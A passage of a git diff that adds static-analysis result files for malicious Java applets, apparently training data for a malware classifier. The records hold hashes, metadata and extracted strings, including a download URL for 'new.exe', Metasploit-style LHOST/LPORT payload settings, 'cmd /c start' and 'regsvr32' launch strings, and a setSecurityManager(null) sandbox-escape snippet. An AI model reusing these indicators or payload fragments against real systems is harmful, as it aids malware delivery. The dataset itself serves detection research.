1F1E6617086209729C02152D17085E35141DBA021E849356A9024A1F1E66170862097206A202152D17085E35141FBA021E849356A9022E1F1E66170862097207A202152D17085E351420BA021E849356A902122D17085E351421BA021E849356860803A901991B072D051EB80222A901781B06B802231B07B80224BA02253C081B08BD02135BB902141415BA0216B802171418B80217B80219B8022659A902064E03B2020302060313031602270203022E02020268021B020202180206021B020C021C0210021E0218021F02300220025A022102690223026D022402760226028102280291022A029D022C02AD022E02B9023002C9023402D6022402DC023702E7023902EC023A02F1023B02F6023C031302410316023E031702420231020202060203022702030232020202040233"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b227b111b1e19a4ff9fe715cbf3bf9d30de098dd", "file_name": "java_malicious/47bf6aa65b50797afd59a1cf5c983ea09ade012b8906c3864b4a6b342e4d4a1c", "_id": "2b93c89e-344e-4485-9e39-88aa83a4cc8f", "score": 0, "entropy": 5.166479064603738, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 7028, "ssdeep": "192:M0l3mbouZeeMpXfuCDvdF5DRXZbxs7m3DxmUevMsEvh:M0VX3dpTfsyh", "sha256": "47bf6aa65b50797afd59a1cf5c983ea09ade012b8906c3864b4a6b342e4d4a1c", "md5": "887efb5bc4f38a73d209753315aebf4a", "parent_sha256": "47bf6aa65b50797afd59a1cf5c983ea09ade012b8906c3864b4a6b342e4d4a1c"}} \ No newline at end of file diff --git a/java_classification/data/malicious/47ec65be3c7bfebad1821a65ac41f01c4c62398d486dba73eb4f20c20b8b446d.results b/java_classification/data/malicious/47ec65be3c7bfebad1821a65ac41f01c4c62398d486dba73eb4f20c20b8b446d.results new file mode 100755 index 0000000..670013f --- /dev/null +++ b/java_classification/data/malicious/47ec65be3c7bfebad1821a65ac41f01c4c62398d486dba73eb4f20c20b8b446d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "RnMTAKTL.java", "class_name": "RnMTAKTL", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "KZGrkwWvk", "UtpeUyUq", "QPjmOn"], "minor_version": 0, "const_pool_count": 134}}, "_id": "4bc0d3e6-039f-4a4e-a2c1-b8b78eceb269", "verbose": {"java": {"constant strings": ["#(?(g\\',=g\\x1c\\x1b\\x05", "&9,\\'\\x1a=;,($", "#(?(g &g\\x0f %,\\x06<=9<=\\x1a=;,($", ">; =,", "close", ",1,*", ";,.:?;z{id:ik", "k", "", "#(?(g &g=$9- ;", "g,1,"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "8fb753351d90cb35cb41490e06b08ef2fdf94e70", "file_name": "java_malicious/47ec65be3c7bfebad1821a65ac41f01c4c62398d486dba73eb4f20c20b8b446d", "_id": "4bc0d3e6-039f-4a4e-a2c1-b8b78eceb269", "score": 0, "entropy": 5.872000052251735, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2544, "ssdeep": "48:zg7lyFlNvrXYydN97XCCkdLVS8mRz/y7DDNUADl7YBKFK5:zcwFlNvr0548q67DDW+TFK5", "sha256": "47ec65be3c7bfebad1821a65ac41f01c4c62398d486dba73eb4f20c20b8b446d", "md5": "2e4c5c7a72578baf4185b11c77a7a34a", "parent_sha256": "47ec65be3c7bfebad1821a65ac41f01c4c62398d486dba73eb4f20c20b8b446d"}} \ No newline at end of file diff --git a/java_classification/data/malicious/481a5eabe83480fbfaa6abb5f8661fae61438585bd995ba2e4bdd7990151c9f8.results b/java_classification/data/malicious/481a5eabe83480fbfaa6abb5f8661fae61438585bd995ba2e4bdd7990151c9f8.results new file mode 100755 index 0000000..a3b249b --- /dev/null +++ b/java_classification/data/malicious/481a5eabe83480fbfaa6abb5f8661fae61438585bd995ba2e4bdd7990151c9f8.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Sqfiu.java", "class_name": "hhIji/Sqfiu", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "baRMB", "MoqpP", "FQFxUPo", "CVxsrxe", "epgXsWtx", "XKzXwYEV", "KUJTY"], "minor_version": 0, "const_pool_count": 159}}, "_id": "eeb6073b-35e8-44cd-8d9d-214ce160643b", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "1717"}}}, "constant strings": ["!6!", "$6#6", "71622< ", "36\"4!6$", "16717", "3\"610!6$", "7122< ", "3\"4!6$", "1717", "3\"10!6$", "-//", "!#6$", "", "71< ", "3\"!6$", "!6#", " 7\"!\\'-/. 7(6#e.+#("]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "76aefd6138aff8dac87b605950c1949af3c89172", "file_name": "java_malicious/481a5eabe83480fbfaa6abb5f8661fae61438585bd995ba2e4bdd7990151c9f8", "_id": "eeb6073b-35e8-44cd-8d9d-214ce160643b", "score": 0, "entropy": 2.911279586844198, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 42438, "ssdeep": "768:NFr2xp7ULEyM1GiCU57Z2mWCQ8HyhNR+J3762ms0u77Th0i/VVIXyLY:NF471GiLm/y8", "sha256": "481a5eabe83480fbfaa6abb5f8661fae61438585bd995ba2e4bdd7990151c9f8", "md5": "1184aa8d8a9fa152c55e0097be439c0b", "parent_sha256": "481a5eabe83480fbfaa6abb5f8661fae61438585bd995ba2e4bdd7990151c9f8"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4871c8bd0b93ee15c4dbc8db232417ef0401a096250d8cb218901e85ea9619c5.results b/java_classification/data/malicious/4871c8bd0b93ee15c4dbc8db232417ef0401a096250d8cb218901e85ea9619c5.results new file mode 100755 index 0000000..a84940e --- /dev/null +++ b/java_classification/data/malicious/4871c8bd0b93ee15c4dbc8db232417ef0401a096250d8cb218901e85ea9619c5.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "j", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["init", "F", "F", "F", "", "F", "", "F", "i", "M", "F", "F"], "minor_version": 0, "const_pool_count": 231}}, "_id": "8aee4c0c-4146-4c80-b210-14bcebba7bda", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 6.272553523534275}, "constant strings": ["", "F\\x0cn\\'3{4y4~3~3{/e\\x12\\r? 5*2}4}2}1.(5\\x11^=&5|6)7-2~5*(c\\x11\\\\tz6)4~)bC\\tl&qt9i3\\x10[9&g-c)qtr`*d.l!U\\x188qf\\x7f5{7/b+f9i$P\\to%d.v;q<`(e,{$P\\x1d|zg-c)qt9syg-y3U\\x18y4f/b+f9s>txz0@\\ny4q<1x2|6{1/x1B\\x1d|1tz3u", "C\\tl&q", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "9df02c1d-0b66-48f1-943f-24410c37f905", "verbose": {"java": {"constant strings": ["GXuVWmXdCP.dbgUstc", ".class", "/GXuVWmXdCP.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "GXuVWmXdCP.dat", "URL", "", "https:", "GXuVWmXdCP/dbgUstcTrustManager.class", "dbgUstcTrustManager.class", "AESPassword", "GXuVWmXdCP/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "GXuVWmXdCP.dbgUstcTrustManager", "useFor", "java.net.URLConnection", "GXuVWmXdCP.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "dbgUstc -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "91b21e26507f61293658031a4b24bc167c4c7e82", "file_name": "java_malicious/4879e1537d103bc98b30384ca513d3239813323bfd559e2a215c18087b6ab524", "_id": "9df02c1d-0b66-48f1-943f-24410c37f905", "score": 0, "entropy": 6.149859419899259, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMjDUBX+WFXhThmAhxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1tFXdhtm4yNvpvUrKYvCkgHzbDrDF", "sha256": "4879e1537d103bc98b30384ca513d3239813323bfd559e2a215c18087b6ab524", "md5": "b39225f94a6c040686fd1a7988b02d6c", "parent_sha256": "4879e1537d103bc98b30384ca513d3239813323bfd559e2a215c18087b6ab524"}} \ No newline at end of file diff --git a/java_classification/data/malicious/48e34324d1e3bd9c3ba48ff75fd31f3f6d1fec31dd454bb90f4f6c7180ba1edd.results b/java_classification/data/malicious/48e34324d1e3bd9c3ba48ff75fd31f3f6d1fec31dd454bb90f4f6c7180ba1edd.results new file mode 100755 index 0000000..51a3f0f --- /dev/null +++ b/java_classification/data/malicious/48e34324d1e3bd9c3ba48ff75fd31f3f6d1fec31dd454bb90f4f6c7180ba1edd.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "WOCCpSUYe.java", "class_name": "aHrMCrboe/WOCCpSUYe", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "dHgLzAZX", "EFMPSc", "pjrKRKU", "xobtp", "PiCOwyUd", "OwRLOth", "ZbVisM"], "minor_version": 0, "const_pool_count": 152}}, "_id": "4476459f-54de-4ba6-b5fe-df5f2816ca8f", "verbose": {"java": {"constant strings": ["&$$", "*(=/", ":<:<", "8):;*=/", "", "*=*", "/=(=", "<:=997+", "8=)?*=/", ":=<:<", "8)=:;*=/", "<:997+", "8)?*=/", "<:7+", "8)*=/", "*=(", "+<)*,&$%+<#=(n% (#"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "59cf96f509216b828df5564632c6e4ccbf83c7ec", "file_name": "java_malicious/48e34324d1e3bd9c3ba48ff75fd31f3f6d1fec31dd454bb90f4f6c7180ba1edd", "_id": "4476459f-54de-4ba6-b5fe-df5f2816ca8f", "score": 0, "entropy": 5.914889183334632, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4593, "ssdeep": "96:/vDFll56+/Ojh5mlHPSW88rrfP+iczkT/VLaClR6jL9:nZle+2jzmpPSWZflOkT/VLaCl4", "sha256": "48e34324d1e3bd9c3ba48ff75fd31f3f6d1fec31dd454bb90f4f6c7180ba1edd", "md5": "853f6350416ee3f4d61693ba900ac7e3", "parent_sha256": "48e34324d1e3bd9c3ba48ff75fd31f3f6d1fec31dd454bb90f4f6c7180ba1edd"}} \ No newline at end of file diff --git a/java_classification/data/malicious/494cf111445de27689970d8adbf68e1c9c6b734adc8207b1ad3571f39b8f2aaa.results b/java_classification/data/malicious/494cf111445de27689970d8adbf68e1c9c6b734adc8207b1ad3571f39b8f2aaa.results new file mode 100755 index 0000000..c12ce0f --- /dev/null +++ b/java_classification/data/malicious/494cf111445de27689970d8adbf68e1c9c6b734adc8207b1ad3571f39b8f2aaa.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Ex_01.java", "class_name": "ex_01/Ex_01", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 51, "method_names": ["", "init", "toHex", "tstPwn"], "minor_version": 0, "const_pool_count": 290}}, "_id": "c07d369d-2692-4649-86d7-ea0f0c4d4ed7", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"signatures": {"java": "rot0", "file": "rot0"}}}, "constant strings": ["os.arch", "", "64", "java.io.tmpdir", "shit.exe", "@url@", "urtpghh", "vbssqtg", "cmd /c start ", "setSecurityManager", "file:///"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "bf2263f102ee2d646f89ab9a4356f24494f436f0", "file_name": "java_malicious/494cf111445de27689970d8adbf68e1c9c6b734adc8207b1ad3571f39b8f2aaa", "_id": "c07d369d-2692-4649-86d7-ea0f0c4d4ed7", "score": 0, "entropy": 5.830222978662394, "libmagic": "compiled Java class data, version 51.0", "file_size": 5226, "ssdeep": "96:jL/oAlWyL7mjlwViR8hCRLhlpZKaiOGP5nX:4AlWyL7XiKhEhlpZK821X", "sha256": "494cf111445de27689970d8adbf68e1c9c6b734adc8207b1ad3571f39b8f2aaa", "md5": "047dece8df1633fa36f7c61461220ca3", "parent_sha256": "494cf111445de27689970d8adbf68e1c9c6b734adc8207b1ad3571f39b8f2aaa"}} \ No newline at end of file diff --git a/java_classification/data/malicious/49dac92b0d198d0d4ff23f9c4a806f5268e8909b152e57be394306fedf10ac5b.results b/java_classification/data/malicious/49dac92b0d198d0d4ff23f9c4a806f5268e8909b152e57be394306fedf10ac5b.results new file mode 100755 index 0000000..4bffef7 --- /dev/null +++ b/java_classification/data/malicious/49dac92b0d198d0d4ff23f9c4a806f5268e8909b152e57be394306fedf10ac5b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "c.java", "class_name": "c", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "", "main", "a", "b", "a", "a", "a"], "minor_version": 0, "const_pool_count": 427}}, "_id": "0263cb08-b71e-41f4-8493-c1f710c8963c", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 6.257537546722927}, "constant strings": ["", "\\n", " ", "%^UU3k[D\\rz", " \\r\\x11", ".W", ",", "(U@\\x07", ".", "+U@\\x07", "/", "*{D\\x061qPQZ", "*{N\\x16/hZO\\x01)*", "*sH\\x17(dMXZ", "*]H\\x1b>+[@\\x01", "*Z", "*WN\\x06.+[@\\x01", "*T", "Dzr", "Doq1\\x1bQ~", "F\\x05}", "LSM\\x10=dS\\x01\\x1d?}^E\\x109lR@\\x19zfW@\\x07;fKD\\x07z", "Hzm!", "VFR\\x01?h{S\\x1c,`", "PkgXb", "\\\\", "YhH\\x1b>jHR)\\t|LU\\x1076\\r}\\x11(lID\\x07)YZU\\x16\\x06mPR\\x01)", "Y]H\\x1b\\x06o^W\\x14", "dOQ\\x11;q^", "dOQ\\x19?+^V\\x01tPvd\\x19?hZO\\x01", "dKU\\x073g", "aZR\\x1e.jO", "cVM\\x10`", "o^W\\x14", "o^W\\x14tmPL\\x10", "jL\\x0f\\x1b;hZ", "wPN\\x01uF\\x1fE\\x073sZ", "qZL\\x05uaPB\\xc0\\x807`QU\\x06z-JO\\x1c\",", "qMT\\x10", "pLD\\x07tmPL\\x10", "rVO"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d4ee486e3f6fdc8a4d4cbea21c90fbba3e1f02c5", "file_name": "java_malicious/49dac92b0d198d0d4ff23f9c4a806f5268e8909b152e57be394306fedf10ac5b", "_id": "0263cb08-b71e-41f4-8493-c1f710c8963c", "score": 0, "entropy": 5.812963098466617, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 12743, "ssdeep": "384:87CWIFaaJyi8jmJfeJLPyO77hCYa8MGIGDGLGFDWmOh:eClFaaJRJfCLDPhCADWmOh", "sha256": "49dac92b0d198d0d4ff23f9c4a806f5268e8909b152e57be394306fedf10ac5b", "md5": "125e3331bf7244e0fbad2f4443093499", "parent_sha256": "49dac92b0d198d0d4ff23f9c4a806f5268e8909b152e57be394306fedf10ac5b"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4a83a29d0fd15e87c20d0c7082ff325273bc19b0539cd859685832b21a300d77.results b/java_classification/data/malicious/4a83a29d0fd15e87c20d0c7082ff325273bc19b0539cd859685832b21a300d77.results new file mode 100755 index 0000000..711019e --- /dev/null +++ b/java_classification/data/malicious/4a83a29d0fd15e87c20d0c7082ff325273bc19b0539cd859685832b21a300d77.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "DWacSnNwt.java", "class_name": "luLbEI/DWacSnNwt", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "dFkOVjIP", "eJhiwIJu", "zeXyUzpQe", "OtHqv", "yCCwyf", "ghoubo", "kzKLHH", "init", "hecOfL"], "minor_version": 0, "const_pool_count": 256}}, "_id": "491caa29-5d81-444a-99f2-73086361bf00", "verbose": {"java": {"constant strings": ["elementFromComplex", "!*=*e\\'*%,e\\x04)!.(?!*=*e\\'*%,e\\x18?9\"%,", "/.(\\'*9./\\x06.?#$/8", "($&e8>%e!&3e&).*%8.9=.9e\\x01&3\\x06\\t.*%\\x18.9=.9", "%.<\\x06\\t.*%\\x18.9=.9", "!*=*e\\'*%,e\\x18?9\"%,!*=*3e&*%*,.&.%?e\\x06\\t.*%\\x18.9=.9!*=*3e&*%*,.&.%?e\\x06\\t.*%\\x18.9=.9\\x0f.\\'.,*?.)$$\\'.*%", "", ",.?\\x06\\t.*%\\x02%8?*%?\"*?$9", "-\"%/\\x08\\'*88", "!*=*e\\'*%,e\\x18?9\"%,!*=*e\\'*%,e\\x08\\'*88\\x07$*/.9", "8>%e$9,e&$1\"\\'\\'*e!*=*8(9\";?e\"%?.9%*\\'e\\x08$%?.3?", "8>%e$9,e&$1\"\\'\\'*e!*=*8(9\";?e\"%?.9%*\\'e\\x0c.%.9*?./\\x08\\'*88\\x07$*/.9", "($&e8>%e!&3e&).*%8.9=.9e\\x02%?9$8;.(?$9", ".%?.9", "(9.*?.\\x08\\'*88\\x07$*/.9", "/.-\"%.\\x08\\'*88", "&\\x13\\x0f\"\\x13\\x08/e(\\'*88", ">9\\'", "\\x1a\\x0f!&/\\x18\\x04", "*;;\\'.?\\x14(\\'*88", "newInstance", "/8-", ".9,/)#! .9&8-k %-&", "-,/8/-*8", "**8", "!*=*e\"$e\\t2?.\\n99*2\\x04>?;>?\\x18?9.*&", "<9\"?.", "?$\\t2?.\\n99*2"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ccf7621fc0cb831969c1dd0e3365d6fa92508278", "file_name": "java_malicious/4a83a29d0fd15e87c20d0c7082ff325273bc19b0539cd859685832b21a300d77", "_id": "491caa29-5d81-444a-99f2-73086361bf00", "score": 0, "entropy": 6.131739155004435, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5655, "ssdeep": "96:FYFl4Br7odhT6ESS0smBsbv2X0ZrdEp6cvAMh5wWAMr1tBrVlM:El4Br7onT6buTNdEcc4glASr0", "sha256": "4a83a29d0fd15e87c20d0c7082ff325273bc19b0539cd859685832b21a300d77", "md5": "36002f3889987d38beeb7a36fa4f431b", "parent_sha256": "4a83a29d0fd15e87c20d0c7082ff325273bc19b0539cd859685832b21a300d77"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4b08ce4978baaca6e613f28e220c1e2477170d8d8cdc5366f620dac9e4f51f8b.results b/java_classification/data/malicious/4b08ce4978baaca6e613f28e220c1e2477170d8d8cdc5366f620dac9e4f51f8b.results new file mode 100755 index 0000000..4865245 --- /dev/null +++ b/java_classification/data/malicious/4b08ce4978baaca6e613f28e220c1e2477170d8d8cdc5366f620dac9e4f51f8b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 48, "class_name": "apps/MyWorker", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/security/PrivilegedExceptionAction"], "sourcefile": "MyWorker.java", "method_names": ["run", ""], "minor_version": 0, "const_pool_count": 100}}, "_id": "401d5500-8ced-46a8-bf37-10e54015ac63", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 2.8247983040455154, "obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "TEMP"}, "substring_heuristics": {}}}, "constant strings": ["93f9fbf", " http://mongomeryored.com/e/9/224ae59d69b2dfaa743b84e5788f671ca0a910a8f7dd21de2f70d85d6", "TEMP", "/new.exe"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a3fb143834b9d1946fdb47e46256571412b2f9ec", "file_name": "java_malicious/4b08ce4978baaca6e613f28e220c1e2477170d8d8cdc5366f620dac9e4f51f8b", "_id": "401d5500-8ced-46a8-bf37-10e54015ac63", "score": 0, "entropy": 5.625950371478145, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 1771, "ssdeep": "24:oR/ul6XIEGyrHldUYPWDBN20zLqPShnPelj4nYetKHMCcmvmd1:oQl6XZrHDRPWDd2PSh0jM5tKhc5v", "sha256": "4b08ce4978baaca6e613f28e220c1e2477170d8d8cdc5366f620dac9e4f51f8b", "md5": "d285beebd3eaa758f5058f884ff79069", "parent_sha256": "4b08ce4978baaca6e613f28e220c1e2477170d8d8cdc5366f620dac9e4f51f8b"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4b3b53266aa8a8da247d46c1de35139c7a00e4b1917d5ff1e1a1ce70eae0a99f.results b/java_classification/data/malicious/4b3b53266aa8a8da247d46c1de35139c7a00e4b1917d5ff1e1a1ce70eae0a99f.results new file mode 100755 index 0000000..14f083e --- /dev/null +++ b/java_classification/data/malicious/4b3b53266aa8a8da247d46c1de35139c7a00e4b1917d5ff1e1a1ce70eae0a99f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "QeyfX.java", "class_name": "CQAfR/QeyfX", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "aVMWJIE", "qEjnh", "IsGql", "nkdYUbxX"], "minor_version": 0, "const_pool_count": 217}}, "_id": "7b096862-b07e-45c2-8bb9-5153b3016e81", "verbose": {"java": {"constant strings": ["/=8", " /=*", "/=*#", "#/=*", "-=/*/=", "=*(*=6", "4*=(*=("]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "22aa44d85f895c22e64d4362f3b3bed98e8edc85", "file_name": "java_malicious/4b3b53266aa8a8da247d46c1de35139c7a00e4b1917d5ff1e1a1ce70eae0a99f", "_id": "7b096862-b07e-45c2-8bb9-5153b3016e81", "score": 0, "entropy": 5.528001939588475, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3404, "ssdeep": "96:PfEM7rpFlpwTsilbdkDCwPiYFWWlhd12p:PfbrLlpwIGbgLiUWJ", "sha256": "4b3b53266aa8a8da247d46c1de35139c7a00e4b1917d5ff1e1a1ce70eae0a99f", "md5": "dfccd666ff1ae0e1e0e78f7fa711f4d6", "parent_sha256": "4b3b53266aa8a8da247d46c1de35139c7a00e4b1917d5ff1e1a1ce70eae0a99f"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4b520fdeb9d4d889f43342e7da9b91a696ce83508700a3f35cb5dcb9b28fc03c.results b/java_classification/data/malicious/4b520fdeb9d4d889f43342e7da9b91a696ce83508700a3f35cb5dcb9b28fc03c.results new file mode 100755 index 0000000..79be93d --- /dev/null +++ b/java_classification/data/malicious/4b520fdeb9d4d889f43342e7da9b91a696ce83508700a3f35cb5dcb9b28fc03c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "java_exploit_test.java", "class_name": "java_exploit_test", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "disableSecurity", "GetClass", "SetField", "init", "paint"], "minor_version": 0, "const_pool_count": 221}}, "_id": "f2c7d213-99a4-4141-98e4-99fe3c797416", "verbose": {"java": {"constant strings": ["setSecurityManager", "file:///", "acc", "forName", "sun.awt.SunToolkit", "getField", "os.name", "Windows", "calc.exe", "Linux", "/tmp/java_exploit_test", "/usr/bin/kcalc || /usr/bin/gnome-calculator\\n", "rm /tmp/java_exploit_test\\n", "Error: ", "/bin/sh /tmp/java_exploit_test", "Mac", "open /Applications/Calculator.app", "ls", "java.version", "Your java version : ", " is not vulnerable.", "running ", " ... Your java version : ", " is vulnerable, please upgrade."]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9b46dc675798a075b34b5b5f7b18c42a944e271a", "file_name": "java_malicious/4b520fdeb9d4d889f43342e7da9b91a696ce83508700a3f35cb5dcb9b28fc03c", "_id": "f2c7d213-99a4-4141-98e4-99fe3c797416", "score": 0, "entropy": 5.7571188267347555, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3693, "ssdeep": "96:60fOYOihFlPLCWIUUGdCNkJ/7rg2bqzT/f:6MtPTlPPATkgYeH", "sha256": "4b520fdeb9d4d889f43342e7da9b91a696ce83508700a3f35cb5dcb9b28fc03c", "md5": "3384f15d768873c3dc6349e3c50fcadc", "parent_sha256": "4b520fdeb9d4d889f43342e7da9b91a696ce83508700a3f35cb5dcb9b28fc03c"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4bb1be408ed72a1037ff56f3a0c30087686014f607f3a57dd5a3c37cde8c7195.results b/java_classification/data/malicious/4bb1be408ed72a1037ff56f3a0c30087686014f607f3a57dd5a3c37cde8c7195.results new file mode 100755 index 0000000..ad5b0f4 --- /dev/null +++ b/java_classification/data/malicious/4bb1be408ed72a1037ff56f3a0c30087686014f607f3a57dd5a3c37cde8c7195.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "dRnufXUs.java", "class_name": "dRnufXUs", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "init", "callBack", "getFilePath", "order", "add", "replace", "ghj", "con", "ghj2"], "minor_version": 0, "const_pool_count": 245}}, "_id": "111b62db-e9f8-406d-8ba9-34c0391c9900", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.795080984640658, "obfuscated_data": {"signatures": {"java": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "exec"}}}, "constant strings": ["js", "applet", "this.toString = function() { \\tjava.lang.System.setSecurityManager(null); applet.callBack(); return \\'\\';};c = new Error();c.message = this;c", "", "p", "openStream", "close", "exec", "regsvr32 -s \"", "\"", "java.io.tmpdir", ".exe"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a0aaa85f16223dc95b775fabc9f040249bdb112f", "file_name": "java_malicious/4bb1be408ed72a1037ff56f3a0c30087686014f607f3a57dd5a3c37cde8c7195", "_id": "111b62db-e9f8-406d-8ba9-34c0391c9900", "score": 0, "entropy": 5.730249490010082, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4397, "ssdeep": "96:SXKUKiYeFFlP/5oU7OijS3dgroXhT3zO3ANxCv19r:l1ePlPRosjsioXVsADa19r", "sha256": "4bb1be408ed72a1037ff56f3a0c30087686014f607f3a57dd5a3c37cde8c7195", "md5": "e2686e9fe2e1143f5f5b2e0076e2a1b3", "parent_sha256": "4bb1be408ed72a1037ff56f3a0c30087686014f607f3a57dd5a3c37cde8c7195"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4cbc62d4e05c42f1d84340b7f21e88cdebfaf84d997ec6897007f15cece05d21.results b/java_classification/data/malicious/4cbc62d4e05c42f1d84340b7f21e88cdebfaf84d997ec6897007f15cece05d21.results new file mode 100755 index 0000000..4527229 --- /dev/null +++ b/java_classification/data/malicious/4cbc62d4e05c42f1d84340b7f21e88cdebfaf84d997ec6897007f15cece05d21.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Beyond.java", "class_name": "Beyond", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["Work", "", ""], "minor_version": 3, "const_pool_count": 6269}}, "_id": "b1c51b7a-ad62-4778-9ae7-604cb43b75d7", "verbose": {"java": {"constant strings": ["os.name", "windows", "q319243.com"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6f7ec6d5252a367c002733d3fffb0734bad29976", "file_name": "java_malicious/4cbc62d4e05c42f1d84340b7f21e88cdebfaf84d997ec6897007f15cece05d21", "_id": "b1c51b7a-ad62-4778-9ae7-604cb43b75d7", "score": 0, "entropy": 6.907601289191106, "libmagic": "compiled Java class data, version 45.3", "file_size": 53964, "ssdeep": "1536:KCJPGBk8w/d24ImV6Jy6CE315rEAeaUxeqqP:KCJeBk8w/d2eOraa", "sha256": "4cbc62d4e05c42f1d84340b7f21e88cdebfaf84d997ec6897007f15cece05d21", "md5": "97b69d71bbc59731f2c047847de83cd2", "parent_sha256": "4cbc62d4e05c42f1d84340b7f21e88cdebfaf84d997ec6897007f15cece05d21"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4d14950715790ee108c6ae158be74c981484f44a8f8c983769c5c4ffbe0fa0e3.results b/java_classification/data/malicious/4d14950715790ee108c6ae158be74c981484f44a8f8c983769c5c4ffbe0fa0e3.results new file mode 100755 index 0000000..f0752a2 --- /dev/null +++ b/java_classification/data/malicious/4d14950715790ee108c6ae158be74c981484f44a8f8c983769c5c4ffbe0fa0e3.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "vcsemrgtm.java", "class_name": "wjrqfstrvkwwtlg/vcsemrgtm", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "dqjkaaedey"], "minor_version": 0, "const_pool_count": 121}}, "_id": "b8101121-9be7-45e5-a0cc-7fc4e691e573", "verbose": {"java": {"constant strings": 